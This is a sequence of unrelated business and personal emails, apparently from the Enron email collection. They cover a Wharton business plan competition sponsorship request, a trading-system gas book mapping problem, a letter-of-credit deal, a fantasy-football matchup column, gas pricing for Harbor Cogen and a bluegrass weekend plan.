I, for your files.  Listed below are ways that Enron could be involved, let 
me know in which (or all) of these Enron would be interested in participating.

* We want to start listing our sponsors, so it would be really good if we 
could get your logo.

* Also, does Enron wish to be a Judge in Phase III and the Venture Fair 
(VF)?  For Phase III, we would mail each Judge about 3 full blown business 
plans to be ranked. We anticipate this taking no more than 1 afternoon

*  For the VF, we would need a Judge to be present for the entire day.   The 
VF is by invitation only and we anticipate about 350 students, venture 
capitalists, business entrepreneurs and faculty.  The VF will be held in 
Philadelphia on April 30th.

* At the VF we will provide an opportunity for our sponsors with a 6 foot 
table for exhibits or materials to hand out.  We will need to know if you 
wish to use the exhibit space.

*  We plan on providing our 25 semi-finalist teams with one-on-one 
mentoring.  If Enron is interested, that would be about 1/2 or 1 day 
commitment.

*  There might be an opportunity for a workshop to the University community.  
Would Enron be interested in participating in something like this?

I look forward to working with you to make this year's BPC a success.  Thank 
you.

Anne Stamer

 <<Phase IOverview.doc>>

<><><><><><><><><><><><><><><><><>
Wharton Business Plan Competition
Wharton Entrepreneurial Programs
419 Vance Hall, 3733 Spruce Street
Philadelphia, PA  19104-6374
215-746-6460 (Direct)
215-898-4856 (Office)
215-898-1299 (fax)
stamer@wharton.upenn.edu

 - Phase IOverview.doc

---------------------- Forwarded by Dana Davis/HOU/ECT on 08/30/2000 03:09 PM 
   
	From:  Dana Davis                           08/30/2000 03:08 PM
	
To: Dana Davis/HOU/ECT@ECT
cc:  
Subject: 

http://www.natchitoches.net/cgi-bin/get_postcard.pl?word=LJEMRBTL

Since you are the lead, I assume that you have an idea from Dave on what he is looking for.  Since Dave referenced ENW, I assume that we will include roles with regard to IT development projects.  Do you think that he also wants to pick up definition of Infrastructure roles as well?  --Sally 

From: 	Delainey, David  
Sent:	Monday, October  29, 2001 3:02 PM
To:	Sally Beck/HOU/ECT@ENRON; Beth Apollo/HOU/ECT@ENRON; Hughes, Evan; Leff, Dan
Subject:	Roles and Responsibilities

Guys, given our continued need to be crisp and clear on our work product and a clear view to increasing efficiencies, particularily in the back and mid office, I think it would be a good exercise to clearly map out roles and responsibilities between ENW and the EES Services Group in some amount of detail.  Dan will take the lead in this activity.  I would hope that we could have this mapped out fairly quickly without a great deal of internal time.

Thanks for all the hard work.

Regards
Delainey

Hi Ian,

Any luck on letter of credit?  Is there anything we can help with on our side?  We are very keen to close this transaction in the next two weeks if possible.  

Call me at 713 853-0397 if you have any questions.  I will call you tomorrow to touch base.  Mark can handle any legal issues.

Thanks

From: 	"Goldsmith, Ian" <IGoldsmith@NatSourceTullettEurope.com>@ENRON [mailto:IMCEANOTES-+22Goldsmith+2C+20Ian+22+20+3CIGoldsmith+40NatSourceTullettEurope+2Ecom+3E+40ENRON@ENRON.com] 
Sent:	Wednesday, May 30, 2001 3:57 AM
Cc:	Shults, Bob; Jones, Tana
Subject:	RE: Natsource-Tullet BETA

Hi Mark
Thanks for your mail
I have no problems with the new clauses 4 (f) and (h) .
I will arrange for Natsource LLC alter the letter of credit to send a letter
of guarantee
I will then be  ready to sign the paper work and get going.
Ian

Sent: Tuesday, May 29, 2001 8:34 PM
To: Goldsmith, Ian
Cc: Bob.Shults@enron.com; Tana.Jones@enron.com
Subject: Natsource-Tullet BETA

Mr. Goldsmith -

I have attached below a copy of the updated BETA reflecting the changes you
proposed earlier. I have added some language to your proposals, but have
kept the intention intact.

The only additional comments that I will make are that Enron will require
(a) a confirmatory letter from Natsource LLC that the LC posted by
Natsource will be applicable to Natsource-Tullet (in essence a guarantee
letter) and (b)  if an LC has already been posted, it will need to be
modified so that it will reflect the ability of Enron to realize under it
for Natsource-Tullet.  If no LC has been issued, this latter point will
need to be handled in any LC issued.

Please take a look at the attached and let me know if anything further.  I
will be checking with our personnel to confirm that Natsource LLC does not
have to be a signatory to this BETA.

(See attached file: beta-natsource-tullet(draft5-29-01).doc)

Mark

Hello Christine,

Attached are my efforts on the Nutra Foods case, questions 1-4.  It seems
to me this case did not require the level of analysis that the other cases
did - unless I am missing something.

Have a good weekend and feel free to call

home 415 864 6916
cell 415 608 8143
 - Nutra Foods KK.doc

Director

I agree with your concerns.  I didn't go into all the specifics previously 
because of the audience of the e-mail.  This is the intended procedure for 
use of the dummy account:

Both the East and the West load gas books into the Enpower system nightly 
(this is not one person's responsibility but the entire group's 
responsibility).
Previously, the only message we get for this load is a success that all the 
books went somewhere in Enpower
With the installation of the new 'dummy' account, the message will now tell 
us if one of the books was loaded to this 'dummy' account
If an EOL bridge mistakenly puts gas deals in a power gas book that was not 
correctly mapped, the position would go to the 'dummy' account
If an EOL bridge mistakenly puts gas deals in a power gas book that WAS 
correctly mapped, the position would show up in that trader's gas positions
Depending on which load (East or West) has a book that was mapped to the 
'dummy' account will determine which group investigates (with IT) what & 
whose positions are now stored in 'dummy'

As you have indicated, manual processes do inevitably create errors.  The 
perfect procedure would be for the book to have complete and correct set up 
prior to having deals entered into it.  It would also be ideal if deals could 
not be entered into this book if setup was incomplete, but because this is an 
interface mapping problem to Enpower, the TAGG (gas) system does not 
recognize that the setup is incomplete.  I am not under the impression that 
the 'dummy' account is a perfect fix; however, with the new 'alert' it will 
provide us better data than we had before and it will keep the unmapped 
positions out of the West portfolio.

The only time the West would be affected by this change in the future is if a 
new power gas book is set up for your traders.

I hope I have addressed your concerns.  If I have not, please give me a call 
or e-mail me back.

Thanks,
Stacey (3-1870)

cc:  
Subject: Re: Potential Gas System Exposure  

does any of this impact the west anymore?  who is going to be "alerted when 
positions are loaded to the 'dummy' account."?  what's the procedure for 
resolving?  what happens if eol dumps trades to a dummy account?  what 
happens if the person who is watching the dummy account is out sick or on 
vacation or leaves enron or is asleep at the wheel?

given the volatility of the commodities that we are trading and the fact that 
manual processes inevitably create errors (as is evidenced by a $7 million 
hit we took yesterday because one keystroke on deal entry was done 
incorrectly last summer) i think it's important to raise these issues.  

To: Tim Belden/HOU/ECT@ECT
cc: John J Lavorato/Enron@EnronXGate, Sally Beck/HOU/ECT@ECT, Beth 
Perlman/enron@EnronXgate, Steve Nat/Enron@EnronXGate, Sheri 
Thomas/HOU/ECT@ECT 

The mapping problem mentioned below is a power desk problem only.  The 
mapping problem is purely between the interface of the gas and power trading 
systems and does not affect the book if it is strictly a gas trader's gas 
book.  There was one instance when a gas trader's transactions were 
incorrectly bridged to a power trader's gas book through EOL.  The root of 
this problem was with the EOL bridge not the interface mapping.

The procedure to set up a gas book for power traders includes communication 
to IT regarding the appropriate interface mapping of the book.  If for some 
reason the mapping does not occur, the position will be mapped to a 'dummy' 
default desk.  We will be alerted when positions are loaded to the 'dummy' 
account on a nightly basis in order to investigate the problem and ensure 
that positions do no get lost in the system.  

If anyone needs to further discuss the problem we have been having and why it 
is only the power world that is affected, please give me a call.  

Thanks,
Stacey
(3-1870)

	From:  Tim Belden                           02/14/2001 05:25 PM
	
To: John J Lavorato/Corp/Enron, Stacey W White/HOU/ECT@ECT, Sally 
Beck/HOU/ECT@ECT, Beth Perlman/HOU/ECT, Steve Nat/Corp/Enron
cc:  
Subject: Potential Gas System Exposure

For some period of time, various West Power desks have been the default desk 
which received gas positions for new books that were not properly setup in 
TAGG.  I have worked with our risk team and the techology group to get West 
Power out of this problem.  I'm happy with the result from the West Power 
point of view.  

I am writing to alert you that one half of the problem still exists.  If 
someone does a gas deal and hasn't set up a new book properly and doesn't 
carefully track his/her position, the trade goes into a dummy book that 
nobody manages.  Days, weeks, or months later you discover the trade and take 
the hit or the gain.  I think that this risk is real because we were the ones 
finding the misplaced gas trades before -- not the gas desk with the 
misplaced trade.  Now nobody will find them unless the gas trader realizes 
that some of his/her position is missing.

These are the facts as I understand them.  I'm sure that Stacey White, Steve 
Nat, and Monica Lande could fill you in with more detailed information.  Let 
me know if I can be of further assistance.
---------------------- Forwarded by Tim Belden/HOU/ECT on 02/14/2001 02:18 PM 

Monica Lande
02/14/2001 02:34 PM
cc: Fran Chang/PDX/ECT@ECT, Valarie Sabo/PDX/ECT@ECT, Samantha 
Law/PDX/ECT@ECT 
Subject: RE: Remaining problem with West tot  

Tim,

Steve has described the problem accurately.  Setting up a dummy book solves 
the problem for us, but not for Enron as a whole.  If no one monitors the 
dummy book on the daily basis (which probably won't happen if there is no 
ownership), then you still have the possibility of positions falling into 
that book and never showing up in the book that they were intended.  Why 
can't a process be put in place for the initial set-up of a book in TAGG?

Monica

To: Fran Chang/PDX/ECT@ECT, Monica Lande/PDX/ECT@ECT, Valarie 
Sabo/PDX/ECT@ECT, Samantha Law/PDX/ECT@ECT
cc:  
Subject: RE: Remaining problem with West tot

do you guys agree?
---------------------- Forwarded by Tim Belden/HOU/ECT on 02/14/2001 01:23 PM 
From: Steve Nat/ENRON@enronXgate on 02/14/2001 03:49 PM CST
To: Tim Belden/HOU/ECT@ECT, Stacey W White/HOU/ECT@ECT
cc: Beth Perlman/ENRON@enronXgate 

Tim,  The root problem was related to the default mapping logic in the 
'interface' job that moves the ERMS gas calc results to the portcalc results 
tables.  If mapping logic is not set up for a new book, the job was 
defaulting the gas deals to the ST-PLT desk.  The default mapping has been 
changed to a dummy  ZZ_erms book, which will prevent the deals from showing 
up in the wrong book if the mapping logic is not updated.

In reference to Beth's concerns... turns out this was a limitation in our 
production code, not an IT change to production data, so we should be OK on 
that front.  

The long-term solution would be to remove the hard-coded logic, set-up table 
structures, and maintain the mapping rules through a user screen.  Given our 
other priorities, and the default logic change, we will not pursue this 
option.

Let me know if you have any other questions or concerns.

Steve

From:  Belden, Tim  
Sent: Wednesday, February 14, 2001 11:49 AM
To: White, Stacey
Cc: Perlman, Beth; Nat, Steve

thanks for the concise description of the problem.  i should have cc'd you on 
the original message.  your description is much better than mine.  now that 
beth has a better understanding of the issue, how long will it take to get 
solved!?

To: Beth Perlman/ENRON@enronXgate @ ENRON
cc: Tim Belden/HOU/ECT@ECT, Steve Nat/ENRON@enronXgate@ENRON 
Subject: RE: Remaining problem with West tot   << OLE Object: StdOleLink >> 

The problem is not that we should enter a reversing trade in the system as 
this would misrepresent the positions across the board.  The problem is that 
the position belongs to another book within Enpower.  The users have no 
access to the screens which define where our gas books are mapped in Enpower; 
therefore, IT has to manually define the correct mapping for us.  When the 
manual fix has not been made, we have true positions for one book mapped to 
another book.

Stacey

From: Beth Perlman/ENRON@enronXgate on 02/14/2001 11:14 AM
To: Tim Belden/HOU/ECT@ECT, Steve Nat/ENRON@enronXgate, Stacey W 
White/HOU/ECT@ECT
cc:  

Tim,

Sorry about this.  A better question to ask is why are systems people 
manipulating data?  Why can't the users put on a reversing trade?  I'm having 
fits about IT resources touching production data and I can't tell you how 
many times we screw ourselves up because IT does this. 

I'll let you know the end result.  Sorry again, but these practices have to 
stop!

Beth

Sent: Wednesday, February 14, 2001 7:59 AM
To: Beth Perlman/HOU/ECT@ENRON
Subject: Remaining problem with West tot

words cannot describe how distressing this problem is.  in terms of 
mis-reporting our risk, we are dropping mmbtu's from some other book into our 
book as mwhs.  mmbtus go for around $10.  mwhs go for around $400.  why is 
this problem so hard to fix?
---------------------- Forwarded by Tim Belden/HOU/ECT on 02/14/2001 04:58 AM 

Fran Chang
02/13/2001 06:27 PM
cc: Monica Lande/PDX/ECT@ECT, Valarie Sabo/PDX/ECT@ECT, Samantha 

Tim:

Please note that as of 2/13 there will still be 1,321 MWhs of Nymex Swap 
position in ST-PLT book (COB) which is yet to be cleared out by IT.   I have 
sent out an email to Norman Lee in IT and will follow up with him to make 
sure this problem is removed asap.  (The "unknown" position of the -311,354 
MWhs showing up on 2/12 has already been taken cared of.)  

Regards,
Fran
x7973

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Hi Folks,

Here's how I see the Passing Game Matchups this week.

PLEASE NOTE:   See the cheatsheet online www.footballguys.com for exactly
where I rank players and to determine who to start.   I always receive
emails asking me how I can have a guy ranked highly on the cheatsheet but
listed under a matchup that favors the Defense.   Just because one matchup
may be more favorable than another, that doesn't necessarily mean I'd start
the player with the best matchup.   Peyton Manning may have a horrible
matchup one week but unless you're sitting on Kurt Warner or Daunte
Culpepper, Manning's your guy no matter who he's lining up against.   The
matchup info is meant to be just one more tool in your box when it comes to
deciding between players.

Note:  I've used the player stats sorted by performance over the last four
weeks extensively in developing these write-ups. Stats are provided by Mike
Hall's excellent FLM League Management Software.  http://www.fflm.com/ for
more info.
Let's get to it.

Joe

Passing Game Matchups to Avoid and Exploit

Locks:  These games feature Defenses that should be overmatched against the
Offense.

Chicago's Passing Game vs San Francisco Defense

QB Jim Miller isn't flashy, but he gets it done.   Losing WR Marcus Robinson
was a huge blow though and they'll be hard pressed to pick up the slack.
Rookie David Terrell will see increased time as will Dez White.   Marty
Booker is the other WR and he should be solid.   Of the bunch, Terrell has
the most talent but is by far the least experienced.   Look for him to grow
up in a hurry.   San Francisco can definitely be thrown on as shown by their
# 26 ranking in Passing Yards Allowed Per Game over the last four weeks.
They rank # 22 in Fantasy Points Allowed to QBs.   The Bears will likely try
to flex their new found rushing game muscle but I think it'll come down to
how well they can cover the loss of Marcus Robinson.   It's a good matchup,
I'm just not sure if the Bears can take advantage of it.

Denver Passing Game vs New England Defense

Brian Griese tries to rally his team against the suddenly dangerous
Patriots.   New England ranks # 22 in Passing Yards Allowed Per Game over
the last four weeks.   That may be just what the Broncos need.   Eddie
Kennison is playing better and Rod Smith is facing double and triple teams,
yet still producing.   Ty Law is a solid Cornerback but Otis Smith on the
other side is vulnerable.   Griese's shoulder is sore but he'll play through
it.   It looks like it may be an issue all season.

Minnesota Passing Game vs Tampa Bay Defense

Daunte Culpepper didn't put up the eye popping stats last week but the
Vikings won a tough game against the Packers.   You could see a similar
performance this week in this important game against Tampa Bay.   The Bucs
rank # 24 in Passing Yards Allowed Per Game over the last four weeks so
they've obviously been thrown on.   Randy Moss and Cris Carter are solid
plays as is Culpepper.   I also like TE Byron Chamberlain to make some noise
here.

Prime Matchups:  These games feature Defenses that should have trouble
stopping the Offense.

Baltimore Passing Game vs Jacksonville Defense

Here's all you need to know about the Jaguar Pass Defense:  Rob Johnson
looked pretty good against them last week and was only sacked 2 times.
That says a lot.  The Jags rank # 18 in Passing Yards Allowed Per Game over
the last four weeks but they seem to be regressing.   Elvis Grbac is listed
as Questionable with a rib / chest injury and is no lock to start.   Randall
Cunningham would go if Grbac can't.   After getting everyone's expectations
up, WR Travis Taylor disappeared last week having only 1 pass thrown his
way.   Brandon Stokely had 9 and Qadry Ismail had 10.   So it's tough to say
how it'll play this week.   I really like Taylor, but he sure came up small
last week.   Shannon Sharpe is a good play like always and rookie TE Todd
Heap should hopefully see action this week.

Carolina Passing Game vs New York Jets Defense

QB Chris Weinke seems to be regressing a bit after a very solid start.   His
interceptions last week were killers.   He faces a Jets team that ranks # 21
in Passing Yards Allowed Per Game over the last four weeks so he could get
back on track.  They rank # 20 in Fantasy Points Allowed to QBs.   Muhsin
Muhammad and Donald Hayes will face solid corners Aaron Glenn and Marcus
Coleman.   The real damage for Carolina can be done with TE Wesley Walls
who's always a factor.

Cincinnati Passing Game vs Detroit Defense

New Flash - Jon Kitna must be more consistent.   For better or worse, the
Bengals record seems to mirror his play.   Losing WR Chad Johnson hurt as
Johnson brought a true deep threat to the table - something the other WRs do
not.   Darnay Scott and Peter Warrick are limited by Kitna's play and don't
seem to be as active as they were earlier.   The Lions rank # 27 in Passing
Yards Allowed Per Game over the last four weeks so they can definitely be
thrown on.   For the year, Detroit ranks # 30 in Fantasy Points Allowed to
QBs so maybe there is hope for Kitna this week.

Kansas City Passing Game vs Indianapolis Defense

QB Trent Green should get a break Thursday night against a Colt defense that
hasn't put much pressure on the QB (4 sacks in the last 3 games).   They
rank # 16 in Passing Yards Allowed Per Game over the last four weeks.   DE
Chad Bratzke is Questionable so that should help even more.   WR Derrick
Alexander is getting back in the groove of things with a 4 reception day for
99 yards and a TD last week.   Chris Thomas will likely start but Snoop
Minnis will see time too.   New England abused Cornerback David Macklin last
week and the Chiefs should have similar results.   The Colts rank # 28 in
Fantasy Points Allowed to WRs.   As always, TE Tony Gonzalez will be a huge
part of the game

New York Giants Passing Game vs Washington Defense

The big buzz this week is that Coach Jim Fassell is rumored to be
considering not starting WR Amani Toomer.   Remember, last year, Toomer was
briefly demoted and he responded with a great finish.   Even if this
happens, I don't expect it to be a big deal as Toomer is clearly the Giants
best option at WR.   QB Kerry Collins struggled with just 162 yards last
week against the Eagles but Philadelphia is on a different level.   The
Redskins are ranked just # 23 in Passing Yards Allowed Per Game over the
last four weeks and the Giants should get back on track.

New York Jets Passing Game vs Carolina Defense

The Jet passing game will be without WR Wayne Chrebet this week as he
recovers from a concussion.   Kevin Swayne will likely get the start in his
place and I think you'll see a lot more of Matthew Hatchette too.
Testeverde's been ok but not great.   This offense is all about Curtis
Martin though and I don't see that changing.   Although the passing matchup
is enticing as the Panthers rank just # 30 in Passing Yards Allowed Per Game
over the last four weeks.   The Carolina Linebacking Corps is in shambles so
TE Anthony Becht might be a good play.   The Panthers rank # 28 in Fantasy
Points Allowed to TEs.

St. Louis Passing Game vs New Orleans Defense

Start your Rams.   Yes, New Orleans is solid but each one of these St. Louis
players is capable of winning your game for you this week.   Kurt Warner,
Torry Holt, and Issac Bruce are must starts with Az-Zahir Hakim a likely
starter for many teams.

Tampa Bay Passing Game vs Minnesota Defense

Injuries are taking their toll on the Buccaneer WRs.   Both Keyshawn Johnson
(hip flexor) and Jacquez Green (groin) are Questionable for this week.  That
doesn't bode well for them or for QB Brad Johnson.   Minnesota ranks # 25 in
Passing Yards Allowed Per Game over the last four weeks so the opportunity
is there if they can get healthy.   But right now, it's a tough call until
you know more.   I'd expect both to play but you don't know for sure.   If
the WRs are limited, that'll obviously drag Brad Johnson's numbers down.

Even Matchups:  These games feature no real advantage either way

Detroit Passing Game vs Cincinnati Defense

I've never been a Charlie Batch fan but he's making a believer out of me.
He blew up against the Titans Sunday with a 338 / 3 TD / 1 Interception day.
The Bengal Defense has put up good numbers ranking # 6 in Passing Yards
Allowed Per Game over the last four weeks.   On the flip side to that,
Rodney Heath and Robert Bean are out, so the secondary could be ripe for
Batch this week.   Lions WRs Germane Crowell and Herman Moore are gone but
Johnnie Morton is ready to go.   Larry Foster will be the # 2 WR and don't
count him out.   Morton can't catch every pass.   Morton has been averaging
8 targets per game but that'll surely rise.   Detroit just signed WR Bert
Emanuel so all their troubles are now over...

New England Passing Game vs Denver Defense

Count me on the Tom Brady Bandwagon.   He's done well against several
different defenses both at home and on the road.   He plays a very similar
game to fellow Michigan grad Brian Griese - He doesn't dazzle you with
physicals but he plays a solid, heady game.   Don't know for sure, but it
wouldn't surprise me if his Dad were a coach.   He has that kind of game.
Chris Mortensen reported earlier this week that Drew Bledsoe may not be
coming back this season because of his injury.   Terry Glenn is a question
mark for this week.  His agent is crying again that mean old Bill Belichick
made him hurt his hamstring.   I'm so far over that.   If he plays, he could
produce.   Troy Brown will also see a ton of looks and you can't count out
Mr. Do Everything, David Patten.   Denver ranks # 24 in Fantasy Points
Allowed to TEs so I wouldn't be surprised to see Jermaine Wiggins make some
noise.

New Orleans Passing Game vs St. Louis Defense

Like everyone else, I'm a little worried about Aaron Brooks.   He ranks just
# 17 among QBs in Fantasy Points over the last 3 weeks.   Things won't get
any easier this week against a vastly improved Ram defense that ranks # 13
in Passing Yards Allowed Per Game over the last four weeks.   The focus of
the Saints is (rightly) RB Ricky Williams and Brooks simply isn't being
counted on to carry the team.   WRs Joe Horn and Willie Jackson are
garnering most of the passes with Albert Connell getting a few looks.   TE
Cam Cleeland is doing his Bubba Franks impression scoring on just about
every pass he catches.   The Rams rank # 17 in Fantasy Points Allowed to TEs
so Cleeland might do some damage.

Philadelphia Passing Game vs Oakland Defense

Donovan McNabb threw just enough to win Sunday afternoon.   He'll likely do
the same against an Oakland defense that's ranked # 20 in Passing Yards
Allowed Per Game over the last four weeks.   Cornerback Charles Woodson's a
shutdown corner and is as good as anyone in the game.   WR Todd Pinkston's
wrist wasn't supposed to be any big deal but he's showing up on the injury
report as Questionable.   Coach Andy Reid said he thought he'd be good to
for Sunday.   If Woodson lines up on James Thrash, Pinkston could produce.

San Diego Passing Game vs Buffalo Defense

Buffalo at San Diego...Think they'll be any revenge factor brewing here?
Just a little I'm guessing.   QB Doug Flutie takes his team against a
Buffalo Defense that's actually been very solid against the pass ranking # 1
in Passing Yards Allowed Per Game over the last four weeks.   Much of that
can be attributed to games against Pittsburgh, Jacksonville, and the Jets.
Still though, they're decent defending the pass and will give Flutie some
obstacles.   Jeff Graham is clearly the most active WR while they're doing
what they can to get TE Freddie Jones into the game.

San Francisco Passing Game vs Chicago Defense

QB Jeff Garcia's picked up where he left off last year.   Over the last 3
weeks, he's the # 1 rated QB in the league in Fantasy Points.   His 3
rushing TDs lead the team.   They'll face a stout defense in Chicago that's
better suited for stopping the run than the pass.   The Bears rank # 19 in
Passing Yards Allowed Per Game over the last four weeks.   MLB Brian
Urlacher is very tough on the mid range routes but look for the 49ers to
exploit the Chicago Corners, R.W. McQuarters and Walt Harris.   No corner
matches up well with Terrell Owens and this week won't be any different.
J.J. Stokes and Tai Streets will see action as well but make no mistake,
this team is about Garcia throwing to Owens.

Washington Passing Game vs New York Giants Defense

Tony Banks to Rod Gardner.   What a great performance by the rookie WR last
week.   It'll be tougher to repeat as the Giants are much more physical.
They rank # 12 in Passing Yards Allowed Per Game over the last four weeks.
Gardner has seen 7+ passes thrown his way each game since week 3.   Michael
Westbrook's numbers have been falling.   Pretty tough matchup for the young
Gardner.

Downside Matchups:  These games feature a Defense that could pose trouble
for the Offense.

Arizona Passing Game vs Dallas Defense

The Arizona passing game is all about David Boston.   And rightfully so.
Cowboy Cornerbacks Mario Edwards and Duane Hawthorne can't matchup with
Boston and the Cardinal running game with Michael Pittman will have the
safeties creeping forward.   On the flip side, Dallas ranks # 5 in Passing
Yards Allowed Per Game over the last four weeks and it's hard to argue with
the numbers.   Obviously, they're stopping teams somehow.   Jake Plummer
should have time to throw as the Cowboys have only registered 5 sacks in the
last 3 games.

Buffalo Passing Game vs San Diego Defense
Is there a light at the end of the tunnel for Rob Johnson?   He did play
much better last week.   Before I get too excited, he's got a tough matchup
this week with San Diego who plays pretty decent pass defense.   Plus, you
know the Chargers will be pumped up playing the Bills with all the ties
there.   The Chargers rank # 14 in Passing Yards Allowed Per Game over the
last four weeks.   WR Eric Moulds, TE Jay Reimersma, and FB Larry Centers
will see the bulk of the passes from Johnson.   In an effort to save Rob
Johnson's life, I think you'll continue to see the coaching staff rely
heavily on the short passes to Reimersma and Centers.

Dallas Passing Game vs Arizona Defense

With Anthony Wright's knee troubles, looks like Dallas will start Clint
Stoerner or Ryan Leaf.   Ouch.   Although to be fair, I've always been a guy
who felt Leaf still has a chance in this league.   Call me crazy, I know.
WR Joey Galloway is questionable with a bad foot so that's a negative.   If
Wright's unable to go, I'd probably shy away from all these guys until you
see them perform.

Indianapolis Passing Game vs Kansas City Defense

If you own any Colt players, you've seen first hand the differences between
real and Fantasy Football lately.   Marvin Harrison, Peyton Manning and
Edgerrin James turned in great Fantasy performances last week - en route to
the Colts getting spanked by the Patriots.   Go figure.   They'll have a
pretty tough matchup this week against Kansas City who ranks # 2 in Passing
Yards Allowed Per Game over the last four weeks.    Much of that ranking
comes from the fact KC is so easy to run on.   Corners William Bartee and
Eric Warfield will have their hands full with Harrison and Rookie Reggie
Wayne.  Looks like WR Jerome Pathon will miss another game with a sprained
foot.   Look for the Colts to take what the Chiefs give them - running room
for James.

Jacksonville Passing Game vs Baltimore Defense

Over the last two weeks, it's become very clear that the way to attack the
Ravens defense is to spread the field with multiple WR sets.   Look for
Jacksonville to do just that and for QB Mark Brunell to possibly focus a bit
more on the shorter passing game.   WRs Jimmy Smith and Keenan McCardell are
both solid players.   They'll face a Raven defense that's ranked # 11 in
Passing Yards Allowed Per Game over the last four weeks.   They're much more
effective in stopping the run than they are the pass.   With Stacey Mack
rushing the ball, the Jags would just as well throw.   TE Kyle Brady might
be worth a shot as Baltimore ranks # 26 in Fantasy Points Allowed to TEs.

Miami Passing Game vs Seattle Defense

Jay Fiedler faces an improving Seattle defense that's ranked # 17 in Passing
Yards Allowed Per Game over the last four weeks.   Miami's had a week off to
prepare.   WRs Oronde Gadsden and our Footballguy favorite Chris Chambers
will see most of the passes although Cornerback Shawn Springs is getting
back to form after his hamstring injury and will likely limit Gadsden's
play.

Pittsburgh Passing Game vs Tennessee Defense

The Steelers are rolling but don't think Kordell Stewart has too much to do
with it.   I'd avoid pretty much everyone on this offense outside of Jerome
Bettis and Kris Brown.   If you really have to reach, WR Plaxico Burress is
seeing lots of balls thrown his way and actually has more targets the last
two weeks than Hines Ward.   Burress should be able to use his size to his
advantage in the Red Zone.   Injured Cornerback Samari Rolle says he has a
50-50 chance of playing Monday.   But bottom line is this team is all about
Jerome Bettis and Defense.

Defensive Slam Dunks:  These games feature a very tough Defense posing major
problems for the Offense.

Oakland Passing Game vs Philadelphia Defense

QB Rich Gannon and his Hall of Famers, Jerry Rice and Tim Brown will take on
one of the most aggressive pass defenses in the game.   Against Oakland's
savvy veterans, I'm not certain unlimited blitzing is the best course of
action.   Brown and Rice are guys who can find the open seam and
fortunately, Gannon's a guy who can deliver the ball.   The Eagles rank # 3
in Passing Yards Allowed Per Game over the last four weeks though so
something's gotta give.

Seattle Passing Game vs Miami Defense

In one of the more controversial moves of the season, Coach Mike Holmgren
has awarded Matt Hasselbeck his job back.   Trent Dilfer goes back to the
bench.   While he's there, he'll likely see Hasselbeck struggle against a
tough Miami Defense.   Miami ranks # 8 in Passing Yards Allowed Per Game
over the last four weeks and Cornerbacks Patrick Surtain and Sam Madison are
as good as any pair in the game.

Tennessee Passing Game vs Pittsburgh Defense

Steve McNair looked almost like a real live NFL QB last week.   Although he
still can't get the ball past his TE as Frank Wycheck rolled for 100 yards.
Look for more of the same this week as the Steelers create trouble.
Pittsburgh is ranked # 4 in Passing Yards Allowed Per Game over the last
four weeks.   Their aggressive Linebacker play could create some
opportunities for Wycheck and Erron Kinney to find some seams in the middle.
As usual, the TEs are the best options here.

Janie/Mike:

As you know, EPMI has been buying gas from the West Gas Desk for Harbor Cogen.  We dispatch this plant and buy their electricity.  Over the winter the Gas Desk was selling them (us) gas at Gas Daily Mid-Point plus $.05/MMBtu, based on consumption.  Since they have not operated that much there is not much money at stake.  With higher summer usage and the greater volatility at the border, however, this price is no longer fair for the Gas Desk.  

So, a couple weeks ago, I proposed a price increase to Harbor that would have them paying Gas Daily Mid-Point plus $.15/MMBtu still based on consumption.  They have been calling around and have an alternative deal, I think with Amoco that would have them paying Gas Daily Mid Point plus $.10/MMBtu based on scheduled volumes, not consumption.  We have to decide this week if we want to keep selling them gas or let them go to Amoco.

I hate to give up business, but it seems like we should unless we get a fair price.

Attached is a summary of a new structure that I think would retain the deal.  It changes the volume from scheduled versus consumption, and has them paying index plus $.10/MMBtu.  Schedules would be due by 8:30 and the volumes could not change over weekends.  I would suggest that it is better to keep this deal if I can get them to agree to the attached structure.  Please look it over and see what you think.  I will call later today to discuss.

Chris

I think we should definitely go.  I could not go up until Friday. Please
make reservations!!!

Vice President, Business Development
PERFECT
1860 Embarcadero Road - Suite 210
Palo Alto, CA 94303
cameron@perfect.com
650.798.3366 (direct dial)
650.269.3366 (cell)
650.858.1095 (fax)

From:  Prentice Sellers [mailto:psellers@pacbell.net]
Sent: Monday, January 22, 2001 6:34 PM
To: Cameron Sellers; jdasovic@enron.com; Scott Laughlin
Subject: Bluegrass Weekend at Sierra Club Lodge

In case it's not on your calendars, the bluegrass weekend at the Sierra
Club's Claire Tappan Lodge is:

March 16-18

It's $46 per person per night
Includes 3 meals

If we're going to go, I think we should make reservations right away.  If
so, do we plan on getting up there Friday night?  I can make the
reservations if you let me know.

I haven't found any info yet on the free one...

Here's some info I copied from the Claire Tappan Lodge website:
http://www.sierraclub.org/outings/lodges/ctl/index.asp

Clair Tappaan is located at 7000 feet, 45 minutes drive west of Reno - 1
mile from Sugar Bowl.  The living room has an enormous stone fireplace.
There is a library, a large communal dinning room, a social lounge, and a
hot tub. The lodge maintains 10 to 12 kilometers of groomed cross-country
ski trails and offers excellent instruction in both Nordic track and
telemark techniques. Top quality cross-country skis and snowshoes are also
available to rent at very reasonable rates.

Guests needs to provide their own pillow, toiletries, towel, sleeping bag or
comparable linens, and bathing suit if they wish to use the hot tub. We ask
guests to choose a house chore to do each day they eat at the lodge.

March 16-18:  Blue Grass Weekend. Calling amateurs and proffesionals alike
to a weekend of great jam sessions in the afternoons and a performance by
the Donner Peak Pickers in the evening. The Pickers are a fantastic bunch of
widely-experienced musicians playing traditional Bluegrass with superb
instrumental craftsmanship.

The party is still on.

Due to the weather, the Pool party will be moved inside to the Imperial Ballroom East, 3rd level of the Hyatt Regency.  

see you there!

Bueno.  DF

	From:  John Goodpasture                           08/08/2000 03:53 PM
	
To: Drew Fossum/ET&S/Enron@ENRON, Kent Miller/ET&S/Enron@ENRON, Paul 
Miller/NPNG/Enron@ENRON
cc: Kathy Campos/GPGFIN/Enron@ENRON 

Subject: Re: MHP/NiSource  

Yes, ENA has been handling the CA etc. and just forwarded to me the Offering 
Memorandum.  Kathy Campos is making copies and will send them to D. Fossum, 
K. Miller, and P. Miller in the Omaha office ASAP (probably to be delivered 
tomorrow morn).

Give me a call if you don't get it.

JNG

	All Employee Meeting - Hyatt

Time:		10:00 AM - 11:00 AM (Central Standard Time)

So didya hear the Blazers creamed the Nuggets last night? I always knew the 
Pacific Northwest would dominate in sports - they're not battling with that 
ol' Rocky Mountain High if ya know what I mean.

Well I'm sorry I didn't get back to you yesterday - work was hectic and I 
knew that if I started an e-mail to you it would either be half-assed or I'd 
never finish it. Well, I'm going for the former now, because I realized there 
would never be a good time to divulge the full and sordid details of what's 
happening around here, and all the while I wait, more and more important 
nuggets (get it!) of gossip are accumulating.

So it's quite appropriate that you wrote yesterday with roommate issues - 
